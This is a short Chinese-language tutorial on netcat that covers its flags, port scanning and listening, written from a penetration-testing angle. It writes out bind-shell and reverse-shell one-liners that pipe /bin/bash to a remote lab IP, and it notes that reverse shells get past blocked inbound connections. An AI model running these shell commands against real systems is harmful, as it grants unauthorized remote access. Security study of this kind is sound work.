nc用的也挺多的,它的全称为NetCat
参数说明:
-c shell commands 与'-e'一样效果(use /bin/sh to exec )
-e filename 程序重定向
-d 无命令行界面,使用后台模式
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
-l 监听模式,用于入站连接
-L 监听模式,连接关闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o <文件名> 记录16进制的传输
-p <端口> 本地端口号
-r 随机本地及远程端口
-s <地址> 设置本地主机送出数据包的IP地址
-t 使用Telnet交互方式
-T tos set Type Of Service
-u UDP模式
-v 详细输出,用-vv将更详细
-w <数字> timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
nc的功能:
- 扫描指定的ip端口情况
- 端口转发数据
- 提交自定义数据包
常用命令:
在渗透中最常用的就是监听端口,连接端口等
nc -vlp 4444 #开启本机的4444端口并将监听到的信息输出到当前窗口,为端口转发shell的基本
将监听道德信息输出到某个路径下的日志文件
nc -lp 4444 > /home/kali/log,dat
连接到一个主机的某个端口
nc -nvv 192.168.56.120 1234
扫描某个端口
nc -v ip port #扫瞄某 IP 的某个端口,返回端口信息详细输出。如:nc -v 192.168.56.103 80
nc -v -z ip port-port #扫描某IP的端口段,返回端口信息详细输出,但扫描速度很慢。如:nc -v -z 192.168.56.103-1024
nc -v -z -u ip port-port #扫描某 IP 的某 UDP 端口段,返回端口信息详细输出,但扫描速度很慢。如:nc -v -z -u 192.168.56.103-1024
nc -nvv -w2 -z ip port-port#扫锚某IP的端口段,连接超时时间为2秒。如:nc -nvv -w2 -z 192.168.56.103-1024
正向连接和反向连接:
正向:远程主机(ip:192.168.56.120)上运行nc -lp 1234 -t -e /bin/bash 意思是绑定远程主机的/bin/bash到1234端口,当本地主机(ip:192.168.56.104)连接远程主机成功就会返回给本地主机一个shell。
nc -lp 1234 -t -e /bin/bash #远程主机
nc -nvv 192.168.56.120 1234 #本地主机
反向:先在本地运行(有公网ip)nc -lvvp 1234开启1234端口进行监听等待远程主机连接,在远程主机上运行nc -t -e /bin/bash 192.168.56.120 1234将远程主机的/bin/bash重定向到了本地主机端口号为1234上了,连接成功后,本地主机会得到一个shell
nc -t -e /bin/bash 192.168.56.120 1234 #远程主机
nc -lvvp 1234 #本地主机
这种情况就是常用的内网端口转发功能,反弹shell,因为有主机发动的情况,正向连接远程主机的某个端口可能会被拦截
后续会更新更多工具的使用说明,工具使用的熟练度取决于在项目中的随机应变,多练手才会更好的掌握工具的使用~
每天学习一丢丢~进步一丢丢~